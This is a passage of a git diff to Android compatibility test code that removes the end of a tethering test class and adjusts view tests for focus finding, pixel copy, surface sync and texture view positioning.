-            }
-        }
-
-        private boolean isIfaceActive(final String[] ifaceRegexs, final TetherState state) {
-            return isIfaceMatch(ifaceRegexs, state.mActive);
-        }
-
-        private void assertNoErroredIfaces(final TetherState state, final String[] ifaceRegexs) {
-            if (state == null || state.mErrored == null) return;
-
-            if (isIfaceMatch(ifaceRegexs, state.mErrored)) {
-                fail("Found failed tethering interfaces: " + Arrays.toString(state.mErrored.toArray()));
-            }
-        }
-    }
-
-    private static class StartTetheringCallback implements TetheringManager.StartTetheringCallback {
-        private static int TIMEOUT_MS = 30_000;
-        public static class CallbackValue {
-            public final int error;
-
-            private CallbackValue(final int e) {
-                error = e;
-            }
-
-            public static class OnTetheringStarted extends CallbackValue {
-                OnTetheringStarted() { super(TETHER_ERROR_NO_ERROR); }
-            }
-
-            public static class OnTetheringFailed extends CallbackValue {
-                OnTetheringFailed(final int error) { super(error); }
-            }
-
-            @Override
-            public String toString() {
-                return String.format("%s(%d)", getClass().getSimpleName(), error);
-            }
-        }
-
-        private final ArrayTrackRecord<CallbackValue>.ReadHead mHistory =
-                new ArrayTrackRecord<CallbackValue>().newReadHead();
-
-        @Override
-        public void onTetheringStarted() {
-            mHistory.add(new CallbackValue.OnTetheringStarted());
-        }
-
-        @Override
-        public void onTetheringFailed(final int error) {
-            mHistory.add(new CallbackValue.OnTetheringFailed(error));
-        }
-
-        public void verifyTetheringStarted() {
-            final CallbackValue cv = mHistory.poll(TIMEOUT_MS, c -> true);
-            assertNotNull("No onTetheringStarted after " + TIMEOUT_MS + " ms", cv);
-            assertTrue("Fail start tethering:" + cv,
-                    cv instanceof CallbackValue.OnTetheringStarted);
-        }
-
-        public void expectTetheringFailed(final int expected) throws InterruptedException {
-            final CallbackValue cv = mHistory.poll(TIMEOUT_MS, c -> true);
-            assertNotNull("No onTetheringFailed after " + TIMEOUT_MS + " ms", cv);
-            assertTrue("Expect fail with error code " + expected + ", but received: " + cv,
-                (cv instanceof CallbackValue.OnTetheringFailed) && (cv.error == expected));
-        }
-    }
-
-    private static boolean isIfaceMatch(final List<String> ifaceRegexs,
-            final List<String> ifaces) {
-        return isIfaceMatch(ifaceRegexs.toArray(new String[0]), ifaces);
-    }
-
-    private static boolean isIfaceMatch(final String[] ifaceRegexs, final List<String> ifaces) {
-        if (ifaceRegexs == null) fail("ifaceRegexs should not be null");
-
-        if (ifaces == null) return false;
-
-        for (String s : ifaces) {
-            for (String regex : ifaceRegexs) {
-                if (s.matches(regex)) {
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-
-    @Test
-    public void testStartTetheringWithStateChangeBroadcast() throws Exception {
-        if (!mTM.isTetheringSupported()) return;
-
-        final String[] wifiRegexs = mTM.getTetherableWifiRegexs();
-        if (wifiRegexs.length == 0) return;
-
-        final String[] tetheredIfaces = mTM.getTetheredIfaces();
-        assertTrue(tetheredIfaces.length == 0);
-
-        final StartTetheringCallback startTetheringCallback = new StartTetheringCallback();
-        final TetheringRequest request = new TetheringRequest.Builder(TETHERING_WIFI)
-                .setShouldShowEntitlementUi(false).build();
-        mTM.startTethering(request, c -> c.run() /* executor */, startTetheringCallback);
-        startTetheringCallback.verifyTetheringStarted();
-
-        mTetherChangeReceiver.expectTethering(true /* active */, wifiRegexs);
-
-        mTM.stopTethering(TETHERING_WIFI);
-        expectSoftApDisabled();
-        mTetherChangeReceiver.expectTethering(false /* active */, wifiRegexs);
-    }
-
-    @Test
-    public void testTetheringRequest() {
-        final TetheringRequest tr = new TetheringRequest.Builder(TETHERING_WIFI).build();
-        assertEquals(TETHERING_WIFI, tr.getTetheringType());
-        assertNull(tr.getLocalIpv4Address());
-        assertNull(tr.getClientStaticIpv4Address());
-        assertFalse(tr.isExemptFromEntitlementCheck());
-        assertTrue(tr.getShouldShowEntitlementUi());
-
-        final LinkAddress localAddr = new LinkAddress("192.168.24.5/24");
-        final LinkAddress clientAddr = new LinkAddress("192.168.24.100/24");
-        final TetheringRequest tr2 = new TetheringRequest.Builder(TETHERING_USB)
-                .setStaticIpv4Addresses(localAddr, clientAddr)
-                .setExemptFromEntitlementCheck(true)
-                .setShouldShowEntitlementUi(false).build();
-
-        assertEquals(localAddr, tr2.getLocalIpv4Address());
-        assertEquals(clientAddr, tr2.getClientStaticIpv4Address());
-        assertEquals(TETHERING_USB, tr2.getTetheringType());
-        assertTrue(tr2.isExemptFromEntitlementCheck());
-        assertFalse(tr2.getShouldShowEntitlementUi());
-    }
-
-    // Must poll the callback before looking at the member.
-    private static class TestTetheringEventCallback implements TetheringEventCallback {
-        private static final int TIMEOUT_MS = 30_000;
-
-        public enum CallbackType {
-            ON_SUPPORTED,
-            ON_UPSTREAM,
-            ON_TETHERABLE_REGEX,
-            ON_TETHERABLE_IFACES,
-            ON_TETHERED_IFACES,
-            ON_ERROR,
-            ON_CLIENTS,
-            ON_OFFLOAD_STATUS,
-        };
-
-        public static class CallbackValue {
-            public final CallbackType callbackType;
-            public final Object callbackParam;
-            public final int callbackParam2;
-
-            private CallbackValue(final CallbackType type, final Object param, final int param2) {
-                this.callbackType = type;
-                this.callbackParam = param;
-                this.callbackParam2 = param2;
-            }
-        }
-
-        private final ArrayTrackRecord<CallbackValue> mHistory =
-                new ArrayTrackRecord<CallbackValue>();
-
-        private final ArrayTrackRecord<CallbackValue>.ReadHead mCurrent =
-                mHistory.newReadHead();
-
-        private TetheringInterfaceRegexps mTetherableRegex;
-        private List<String> mTetherableIfaces;
-        private List<String> mTetheredIfaces;
-
-        @Override
-        public void onTetheringSupported(boolean supported) {
-            mHistory.add(new CallbackValue(CallbackType.ON_SUPPORTED, null, (supported ? 1 : 0)));
-        }
-
-        @Override
-        public void onUpstreamChanged(Network network) {
-            mHistory.add(new CallbackValue(CallbackType.ON_UPSTREAM, network, 0));
-        }
-
-        @Override
-        public void onTetherableInterfaceRegexpsChanged(TetheringInterfaceRegexps reg) {
-            mTetherableRegex = reg;
-            mHistory.add(new CallbackValue(CallbackType.ON_TETHERABLE_REGEX, reg, 0));
-        }
-
-        @Override
-        public void onTetherableInterfacesChanged(List<String> interfaces) {
-            mTetherableIfaces = interfaces;
-            mHistory.add(new CallbackValue(CallbackType.ON_TETHERABLE_IFACES, interfaces, 0));
-        }
-
-        @Override
-        public void onTetheredInterfacesChanged(List<String> interfaces) {
-            mTetheredIfaces = interfaces;
-            mHistory.add(new CallbackValue(CallbackType.ON_TETHERED_IFACES, interfaces, 0));
-        }
-
-        @Override
-        public void onError(String ifName, int error) {
-            mHistory.add(new CallbackValue(CallbackType.ON_ERROR, ifName, error));
-        }
-
-        @Override
-        public void onClientsChanged(Collection<TetheredClient> clients) {
-            mHistory.add(new CallbackValue(CallbackType.ON_CLIENTS, clients, 0));
-        }
-
-        @Override
-        public void onOffloadStatusChanged(int status) {
-            mHistory.add(new CallbackValue(CallbackType.ON_OFFLOAD_STATUS, status, 0));
-        }
-
-        public void expectTetherableInterfacesChanged(@NonNull List<String> regexs) {
-            assertNotNull("No expected tetherable ifaces callback", mCurrent.poll(TIMEOUT_MS,
-                (cv) -> {
-                    if (cv.callbackType != CallbackType.ON_TETHERABLE_IFACES) return false;
-                    final List<String> interfaces = (List<String>) cv.callbackParam;
-                    return isIfaceMatch(regexs, interfaces);
-                }));
-        }
-
-        public void expectTetheredInterfacesChanged(@NonNull List<String> regexs) {
-            assertNotNull("No expected tethered ifaces callback", mCurrent.poll(TIMEOUT_MS,
-                (cv) -> {
-                    if (cv.callbackType != CallbackType.ON_TETHERED_IFACES) return false;
-
-                    final List<String> interfaces = (List<String>) cv.callbackParam;
-
-                    // Null regexs means no active tethering.
-                    if (regexs == null) return interfaces.isEmpty();
-
-                    return isIfaceMatch(regexs, interfaces);
-                }));
-        }
-
-        public void expectCallbackStarted() {
-            int receivedBitMap = 0;
-            // The each bit represent a type from CallbackType.ON_*.
-            // Expect all of callbacks except for ON_ERROR.
-            final int expectedBitMap = 0xff ^ (1 << CallbackType.ON_ERROR.ordinal());
-            // Receive ON_ERROR on started callback is not matter. It just means tethering is
-            // failed last time, should able to continue the test this time.
-            while ((receivedBitMap & expectedBitMap) != expectedBitMap) {
-                final CallbackValue cv = mCurrent.poll(TIMEOUT_MS, c -> true);
-                if (cv == null) {
-                    fail("No expected callbacks, " + "expected bitmap: "
-                            + expectedBitMap + ", actual: " + receivedBitMap);
-                }
-
-                receivedBitMap |= (1 << cv.callbackType.ordinal());
-            }
-        }
-
-        public void expectOneOfOffloadStatusChanged(int... offloadStatuses) {
-            assertNotNull("No offload status changed", mCurrent.poll(TIMEOUT_MS, (cv) -> {
-                if (cv.callbackType != CallbackType.ON_OFFLOAD_STATUS) return false;
-
-                final int status = (int) cv.callbackParam;
-                for (int offloadStatus : offloadStatuses) if (offloadStatus == status) return true;
-
-                return false;
-            }));
-        }
-
-        public void expectErrorOrTethered(final String iface) {
-            assertNotNull("No expected callback", mCurrent.poll(TIMEOUT_MS, (cv) -> {
-                if (cv.callbackType == CallbackType.ON_ERROR
-                        && iface.equals((String) cv.callbackParam)) {
-                    return true;
-                }
-                if (cv.callbackType == CallbackType.ON_TETHERED_IFACES
-                        && ((List<String>) cv.callbackParam).contains(iface)) {
-                    return true;
-                }
-
-                return false;
-            }));
-        }
-
-        public Network getCurrentValidUpstream() {
-            final CallbackValue result = mCurrent.poll(TIMEOUT_MS, (cv) -> {
-                return (cv.callbackType == CallbackType.ON_UPSTREAM)
-                        && cv.callbackParam != null;
-            });
-
-            assertNotNull("No valid upstream", result);
-            return (Network) result.callbackParam;
-        }
-
-        public void assumeTetheringSupported() {
-            final ArrayTrackRecord<CallbackValue>.ReadHead history =
-                    mHistory.newReadHead();
-            assertNotNull("No onSupported callback", history.poll(TIMEOUT_MS, (cv) -> {
-                if (cv.callbackType != CallbackType.ON_SUPPORTED) return false;
-
-                assumeTrue(cv.callbackParam2 == 1 /* supported */);
-                return true;
-            }));
-        }
-
-        public TetheringInterfaceRegexps getTetheringInterfaceRegexps() {
-            return mTetherableRegex;
-        }
-
-        public List<String> getTetherableInterfaces() {
-            return mTetherableIfaces;
-        }
-
-        public List<String> getTetheredInterfaces() {
-            return mTetheredIfaces;
-        }
-    }
-
-    private TestTetheringEventCallback registerTetheringEventCallback() {
-        final TestTetheringEventCallback tetherEventCallback =
-                new TestTetheringEventCallback();
-
-        mTM.registerTetheringEventCallback(c -> c.run() /* executor */, tetherEventCallback);
-        tetherEventCallback.expectCallbackStarted();
-
-        return tetherEventCallback;
-    }
-
-    private void unregisterTetheringEventCallback(final TestTetheringEventCallback callback) {
-        mTM.unregisterTetheringEventCallback(callback);
-    }
-
-    private List<String> getWifiTetherableInterfaceRegexps(
-            final TestTetheringEventCallback callback) {
-        return callback.getTetheringInterfaceRegexps().getTetherableWifiRegexs();
-    }
-
-    private boolean isWifiTetheringSupported(final TestTetheringEventCallback callback) {
-        return !getWifiTetherableInterfaceRegexps(callback).isEmpty();
-    }
-
-    private void startWifiTethering(final TestTetheringEventCallback callback)
-            throws InterruptedException {
-        final List<String> wifiRegexs = getWifiTetherableInterfaceRegexps(callback);
-        assertFalse(isIfaceMatch(wifiRegexs, callback.getTetheredInterfaces()));
-
-        final StartTetheringCallback startTetheringCallback = new StartTetheringCallback();
-        final TetheringRequest request = new TetheringRequest.Builder(TETHERING_WIFI)
-                .setShouldShowEntitlementUi(false).build();
-        mTM.startTethering(request, c -> c.run() /* executor */, startTetheringCallback);
-        startTetheringCallback.verifyTetheringStarted();
-
-        callback.expectTetheredInterfacesChanged(wifiRegexs);
-
-        callback.expectOneOfOffloadStatusChanged(
-                TETHER_HARDWARE_OFFLOAD_STARTED,
-                TETHER_HARDWARE_OFFLOAD_FAILED);
-    }
-
-    private void stopWifiTethering(final TestTetheringEventCallback callback) {
-        mTM.stopTethering(TETHERING_WIFI);
-        expectSoftApDisabled();
-        callback.expectTetheredInterfacesChanged(null);
-        callback.expectOneOfOffloadStatusChanged(TETHER_HARDWARE_OFFLOAD_STOPPED);
-    }
-
-    @Test
-    public void testRegisterTetheringEventCallback() throws Exception {
-        final TestTetheringEventCallback tetherEventCallback = registerTetheringEventCallback();
-        tetherEventCallback.assumeTetheringSupported();
-
-        if (!isWifiTetheringSupported(tetherEventCallback)) {
-            unregisterTetheringEventCallback(tetherEventCallback);
-            return;
-        }
-
-        startWifiTethering(tetherEventCallback);
-
-        final List<String> tetheredIfaces = tetherEventCallback.getTetheredInterfaces();
-        assertEquals(1, tetheredIfaces.size());
-        final String wifiTetheringIface = tetheredIfaces.get(0);
-
-        stopWifiTethering(tetherEventCallback);
-
-        try {
-            final int ret = mTM.tether(wifiTetheringIface);
-
-            // There is no guarantee that the wifi interface will be available after disabling
-            // the hotspot, so don't fail the test if the call to tether() fails.
-            assumeTrue(ret == TETHER_ERROR_NO_ERROR);
-
-            // If calling #tether successful, there is a callback to tell the result of tethering
-            // setup.
-            tetherEventCallback.expectErrorOrTethered(wifiTetheringIface);
-        } finally {
-            mTM.untether(wifiTetheringIface);
-            unregisterTetheringEventCallback(tetherEventCallback);
-        }
-    }
-
-    @Test
-    public void testGetTetherableInterfaceRegexps() {
-        final TestTetheringEventCallback tetherEventCallback = registerTetheringEventCallback();
-        tetherEventCallback.assumeTetheringSupported();
-
-        final TetheringInterfaceRegexps tetherableRegexs =
-                tetherEventCallback.getTetheringInterfaceRegexps();
-        final List<String> wifiRegexs = tetherableRegexs.getTetherableWifiRegexs();
-        final List<String> usbRegexs = tetherableRegexs.getTetherableUsbRegexs();
-        final List<String> btRegexs = tetherableRegexs.getTetherableBluetoothRegexs();
-
-        assertEquals(wifiRegexs, Arrays.asList(mTM.getTetherableWifiRegexs()));
-        assertEquals(usbRegexs, Arrays.asList(mTM.getTetherableUsbRegexs()));
-        assertEquals(btRegexs, Arrays.asList(mTM.getTetherableBluetoothRegexs()));
-
-        //Verify that any regex name should only contain in one array.
-        wifiRegexs.forEach(s -> assertFalse(usbRegexs.contains(s)));
-        wifiRegexs.forEach(s -> assertFalse(btRegexs.contains(s)));
-        usbRegexs.forEach(s -> assertFalse(btRegexs.contains(s)));
-
-        unregisterTetheringEventCallback(tetherEventCallback);
-    }
-
-    @Test
-    public void testStopAllTethering() throws Exception {
-        final TestTetheringEventCallback tetherEventCallback = registerTetheringEventCallback();
-        tetherEventCallback.assumeTetheringSupported();
-
-        try {
-            if (!isWifiTetheringSupported(tetherEventCallback)) return;
-
-            // TODO: start ethernet tethering here when TetheringManagerTest is moved to
-            // TetheringIntegrationTest.
-
-            startWifiTethering(tetherEventCallback);
-
-            mTM.stopAllTethering();
-            tetherEventCallback.expectTetheredInterfacesChanged(null);
-        } finally {
-            unregisterTetheringEventCallback(tetherEventCallback);
-        }
-    }
-
-    @Test
-    public void testEnableTetheringPermission() throws Exception {
-        dropShellPermissionIdentity();
-        final StartTetheringCallback startTetheringCallback = new StartTetheringCallback();
-        mTM.startTethering(new TetheringRequest.Builder(TETHERING_WIFI).build(),
-                c -> c.run() /* executor */, startTetheringCallback);
-        startTetheringCallback.expectTetheringFailed(TETHER_ERROR_NO_CHANGE_TETHERING_PERMISSION);
-    }
-
-    private class EntitlementResultListener implements OnTetheringEntitlementResultListener {
-        private final CompletableFuture<Integer> future = new CompletableFuture<>();
-
-        @Override
-        public void onTetheringEntitlementResult(int result) {
-            future.complete(result);
-        }
-
-        public int get(long timeout, TimeUnit unit) throws Exception {
-            return future.get(timeout, unit);
-        }
-
-    }
-
-    private void assertEntitlementResult(final Consumer<EntitlementResultListener> functor,
-            final int expect) throws Exception {
-        final EntitlementResultListener listener = new EntitlementResultListener();
-        functor.accept(listener);
-
-        assertEquals(expect, listener.get(DEFAULT_TIMEOUT_MS, TimeUnit.MILLISECONDS));
-    }
-
-    @Test
-    public void testRequestLatestEntitlementResult() throws Exception {
-        assumeTrue(mTM.isTetheringSupported());
-        // Verify that requestLatestTetheringEntitlementResult() can get entitlement
-        // result(TETHER_ERROR_ENTITLEMENT_UNKNOWN due to invalid downstream type) via listener.
-        assertEntitlementResult(listener -> mTM.requestLatestTetheringEntitlementResult(
-                TETHERING_WIFI_P2P, false, c -> c.run(), listener),
-                TETHER_ERROR_ENTITLEMENT_UNKNOWN);
-
-        // Verify that requestLatestTetheringEntitlementResult() can get entitlement
-        // result(TETHER_ERROR_ENTITLEMENT_UNKNOWN due to invalid downstream type) via receiver.
-        assertEntitlementResult(listener -> mTM.requestLatestTetheringEntitlementResult(
-                TETHERING_WIFI_P2P,
-                new ResultReceiver(null /* handler */) {
-                    @Override
-                    public void onReceiveResult(int resultCode, Bundle resultData) {
-                        listener.onTetheringEntitlementResult(resultCode);
-                    }
-                }, false),
-                TETHER_ERROR_ENTITLEMENT_UNKNOWN);
-
-        // Do not request TETHERING_WIFI entitlement result if TETHERING_WIFI is not available.
-        assumeTrue(mTM.getTetherableWifiRegexs().length > 0);
-
-        // Verify that null listener will cause IllegalArgumentException.
-        try {
-            mTM.requestLatestTetheringEntitlementResult(
-                    TETHERING_WIFI, false, c -> c.run(), null);
-        } catch (IllegalArgumentException expect) { }
-
-        // Override carrier config to ignore entitlement check.
-        final PersistableBundle bundle = new PersistableBundle();
-        bundle.putBoolean(CarrierConfigManager.KEY_REQUIRE_ENTITLEMENT_CHECKS_BOOL, false);
-        overrideCarrierConfig(bundle);
-
-        // Verify that requestLatestTetheringEntitlementResult() can get entitlement
-        // result TETHER_ERROR_NO_ERROR due to provisioning bypassed.
-        assertEntitlementResult(listener -> mTM.requestLatestTetheringEntitlementResult(
-                TETHERING_WIFI, false, c -> c.run(), listener), TETHER_ERROR_NO_ERROR);
-
-        // Reset carrier config.
-        overrideCarrierConfig(null);
-    }
-
-    private void overrideCarrierConfig(PersistableBundle bundle) {
-        final CarrierConfigManager configManager = (CarrierConfigManager) mContext
-                .getSystemService(Context.CARRIER_CONFIG_SERVICE);
-        final int subId = SubscriptionManager.getDefaultSubscriptionId();
-        configManager.overrideConfig(subId, bundle);
-    }
-
-    @Test
-    public void testTetheringUpstream() throws Exception {
-        assumeTrue(mPm.hasSystemFeature(FEATURE_TELEPHONY));
-        final TestTetheringEventCallback tetherEventCallback = registerTetheringEventCallback();
-        tetherEventCallback.assumeTetheringSupported();
-        final boolean previousWifiEnabledState = mWm.isWifiEnabled();
-
-        try {
-            if (!isWifiTetheringSupported(tetherEventCallback)) return;
-
-            if (previousWifiEnabledState) {
-                mCtsNetUtils.ensureWifiDisconnected(null);
-            }
-
-            final TestNetworkCallback networkCallback = new TestNetworkCallback();
-            Network activeNetwork = null;
-            try {
-                mCm.registerDefaultNetworkCallback(networkCallback);
-                activeNetwork = networkCallback.waitForAvailable();
-            } finally {
-                mCm.unregisterNetworkCallback(networkCallback);
-            }
-
-            assertNotNull("No active network. Please ensure the device has working mobile data.",
-                    activeNetwork);
-            final NetworkCapabilities activeNetCap = mCm.getNetworkCapabilities(activeNetwork);
-
-            // If active nework is ETHERNET, tethering may not use cell network as upstream.
-            assumeFalse(activeNetCap.hasTransport(TRANSPORT_ETHERNET));
-
-            assertTrue(activeNetCap.hasTransport(TRANSPORT_CELLULAR));
-
-            startWifiTethering(tetherEventCallback);
-
-            final TelephonyManager telephonyManager = (TelephonyManager) mContext.getSystemService(
-                    Context.TELEPHONY_SERVICE);
-            final boolean dunRequired = telephonyManager.isTetheringApnRequired();
-            final int expectedCap = dunRequired ? NET_CAPABILITY_DUN : NET_CAPABILITY_INTERNET;
-            final Network network = tetherEventCallback.getCurrentValidUpstream();
-            final NetworkCapabilities netCap = mCm.getNetworkCapabilities(network);
-            assertTrue(netCap.hasTransport(TRANSPORT_CELLULAR));
-            assertTrue(netCap.hasCapability(expectedCap));
-
-            stopWifiTethering(tetherEventCallback);
-        } finally {
-            unregisterTetheringEventCallback(tetherEventCallback);
-            if (previousWifiEnabledState) {
-                mCtsNetUtils.connectToWifi();
-            }
-        }
-    }
-}
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvTrackInfoSubject.java b/tests/tests/tv/src/android/media/tv/cts/TvTrackInfoSubject.java
index cb1bae9..5525963 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvTrackInfoSubject.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvTrackInfoSubject.java
@@ -33,7 +33,7 @@
 import com.google.common.truth.Subject;
 
 /** Test {@link Subject} for {@link TvTrackInfo}. */
-public final class TvTrackInfoSubject extends Subject<TvTrackInfoSubject, TvTrackInfo> {
+public final class TvTrackInfoSubject extends Subject {
     // TODO(b/153190774): Move to androidx.test.ext.truth
 
     @Nullable
diff --git a/tests/tests/view/Android.mk b/tests/tests/view/Android.mk
index dd0c5b2..3c16650 100644
--- a/tests/tests/view/Android.mk
+++ b/tests/tests/view/Android.mk
@@ -38,7 +38,8 @@
     platform-test-annotations \
     ub-uiautomator \
     truth-prebuilt \
-    CtsSurfaceValidatorLib
+    CtsSurfaceValidatorLib \
+    cts-wm-util
 
 
 LOCAL_JNI_SHARED_LIBRARIES := libctsview_jni libnativehelper_compat_libc++
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index 174e5dc..344375e 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -174,14 +174,14 @@
                   android:screenOrientation="portrait"
                   android:rotationAnimation="jumpcut"
                   android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
-                  android:configChanges="orientation|screenSize" />
+                  android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize" />
 
         <activity android:name="android.view.cts.PixelCopyWideGamutViewProducerActivity"
                   android:label="PixelCopyWideGamutViewProducerActivity"
                   android:screenOrientation="portrait"
                   android:rotationAnimation="jumpcut"
                   android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
-                  android:configChanges="orientation|screenSize"
+                  android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize"
                   android:colorMode="wideColorGamut" />
 
         <activity android:name="android.view.cts.PixelCopyViewProducerDialogActivity"
@@ -189,7 +189,7 @@
                   android:screenOrientation="portrait"
                   android:rotationAnimation="jumpcut"
                   android:theme="@android:style/Theme.Material.Dialog.NoActionBar"
-                  android:configChanges="orientation|screenSize" />
+                  android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize" />
 
         <activity android:name="android.view.cts.FocusFinderCtsActivity"
                   android:screenOrientation="locked"
diff --git a/tests/tests/view/res/layout/focus_finder_layout.xml b/tests/tests/view/res/layout/focus_finder_layout.xml
index 1dea684..4e2726c 100644
--- a/tests/tests/view/res/layout/focus_finder_layout.xml
+++ b/tests/tests/view/res/layout/focus_finder_layout.xml
@@ -46,7 +46,11 @@
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
             android:layout_below="@id/layout">
-
+        <android.view.cts.TestButton
+            android:id="@+id/bottom_button"
+            android:layout_width="60dp"
+            android:layout_height="match_parent"
+            android:text="B" />
     </LinearLayout>
 </RelativeLayout>
 
diff --git a/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java b/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
index 05f8d4a..affc2ae 100644
--- a/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
+++ b/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
@@ -18,6 +18,8 @@
 
 import static org.junit.Assert.assertTrue;
 
+import static android.server.wm.WindowManagerState.getLogicalDisplaySize;
+
 import android.animation.ObjectAnimator;
 import android.animation.PropertyValuesHolder;
 import android.animation.ValueAnimator;
@@ -77,6 +79,7 @@
     @Before
     public void setup() {
         mActivity = mActivityRule.getActivity();
+        mActivity.setLogicalDisplaySize(getLogicalDisplaySize());
     }
 
     /**
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java b/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
index ae0b4bf..300d3a5 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
@@ -25,6 +25,8 @@
 
     public ViewGroup layout;
 
+    public ViewGroup inflateLayout;
+
     public Button topLeftButton;
 
     public Button topRightButton;
@@ -33,15 +35,19 @@
 
     public Button bottomRightButton;
 
+    public Button bottomButton;
+
     @Override
     protected void onCreate(Bundle icicle) {
         super.onCreate(icicle);
         setContentView(R.layout.focus_finder_layout);
         layout = (ViewGroup) findViewById(R.id.layout);
+        inflateLayout = (ViewGroup) findViewById(R.id.inflate_layout);
         topLeftButton = (Button) findViewById(R.id.top_left_button);
         topRightButton = (Button) findViewById(R.id.top_right_button);
         bottomLeftButton = (Button) findViewById(R.id.bottom_left_button);
         bottomRightButton = (Button) findViewById(R.id.bottom_right_button);
+        bottomButton = (Button) findViewById(R.id.bottom_button);
     }
 }
 
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderTest.java b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
index 11e921a..53992ce 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderTest.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
@@ -18,6 +18,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
@@ -44,10 +45,12 @@
 public class FocusFinderTest {
     private FocusFinder mFocusFinder;
     private ViewGroup mLayout;
+    private ViewGroup mInflateLayout;
     private Button mTopLeft;
     private Button mTopRight;
     private Button mBottomLeft;
     private Button mBottomRight;
+    private Button mBottom;
 
     @Rule
     public ActivityTestRule<FocusFinderCtsActivity> mActivityRule =
@@ -59,14 +62,17 @@
 
         mFocusFinder = FocusFinder.getInstance();
         mLayout = activity.layout;
+        mInflateLayout = activity.inflateLayout;
         mTopLeft = activity.topLeftButton;
         mTopRight = activity.topRightButton;
         mBottomLeft = activity.bottomLeftButton;
         mBottomRight = activity.bottomRightButton;
+        mBottom = activity.bottomButton;
         mTopLeft.setNextFocusLeftId(View.NO_ID);
         mTopRight.setNextFocusLeftId(View.NO_ID);
         mBottomLeft.setNextFocusLeftId(View.NO_ID);
         mBottomRight.setNextFocusLeftId(View.NO_ID);
+        mBottom.setNextFocusLeftId(View.NO_ID);
     }
 
     @Test
@@ -456,4 +462,17 @@
         view.setRight(right);
         view.setBottom(bottom);
     }
+
+    @Test
+    public void testFindNextFocusDoesNotReturnItself() {
+        View nextFocus = mFocusFinder.findNextFocus(mInflateLayout, mBottom, View.FOCUS_FORWARD);
+        assertNull(nextFocus);
+    }
+
+    @Test
+    public void testFindPreviousFocusDoesNotReturnItself() {
+        View previousFocus =
+                mFocusFinder.findNextFocus(mInflateLayout, mBottom, View.FOCUS_BACKWARD);
+        assertNull(previousFocus);
+    }
 }
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index 85c4094..99e4da8 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -42,6 +42,7 @@
 import android.view.View;
 import android.view.Window;
 import android.view.WindowManager;
+import android.view.cts.util.DisableFixToUserRotationRule;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.LargeTest;
@@ -70,6 +71,10 @@
     private static final String TAG = "PixelCopyTests";
 
     @Rule
+    public DisableFixToUserRotationRule mDisableFixToUserRotationRule =
+            new DisableFixToUserRotationRule();
+
+    @Rule
     public ActivityTestRule<PixelCopyGLProducerCtsActivity> mGLSurfaceViewActivityRule =
             new ActivityTestRule<>(PixelCopyGLProducerCtsActivity.class, false, false);
 
diff --git a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
index a2b01f4..645d9fa 100644
--- a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
+++ b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
@@ -15,6 +15,8 @@
  */
 package android.view.cts;
 
+import static android.server.wm.WindowManagerState.getLogicalDisplaySize;
+
 import android.animation.ObjectAnimator;
 import android.animation.PropertyValuesHolder;
 import android.animation.ValueAnimator;
@@ -70,6 +72,7 @@
     public void setup() {
         mActivity = mActivityRule.getActivity();
         mMediaPlayer = mActivity.getMediaPlayer();
+        mActivity.setLogicalDisplaySize(getLogicalDisplaySize());
     }
 
     /**
diff --git a/tests/tests/view/src/android/view/cts/TextureViewTest.java b/tests/tests/view/src/android/view/cts/TextureViewTest.java
index 9cab157..8736f36 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewTest.java
@@ -81,7 +81,7 @@
         mActivityRule.runOnUiThread(() -> {
             View content = activity.findViewById(android.R.id.content);
             int[] outLocation = new int[2];
-            content.getLocationOnScreen(outLocation);
+            content.getLocationInWindow(outLocation);
             center.x = outLocation[0] + (content.getWidth() / 2);
             center.y = outLocation[1] + (content.getHeight() / 2);
             windowRet[0] = activity.getWindow();
@@ -145,7 +145,7 @@
         final Rect viewPos = new Rect();
         mActivityRule.runOnUiThread(() -> {
             int[] outLocation = new int[2];
-            textureView.getLocationOnScreen(outLocation);
+            textureView.getLocationInWindow(outLocation);
             viewPos.left = outLocation[0];
             viewPos.top = outLocation[1];
             viewPos.right = viewPos.left + textureView.getWidth();
@@ -187,7 +187,7 @@
         final Rect viewPos = new Rect();
         mActivityRule.runOnUiThread(() -> {
             int[] outLocation = new int[2];
-            textureView.getLocationOnScreen(outLocation);
+            textureView.getLocationInWindow(outLocation);
             viewPos.left = outLocation[0];
             viewPos.top = outLocation[1];
             viewPos.right = viewPos.left + textureView.getWidth();
@@ -343,7 +343,7 @@
             final Rect viewPos = new Rect();
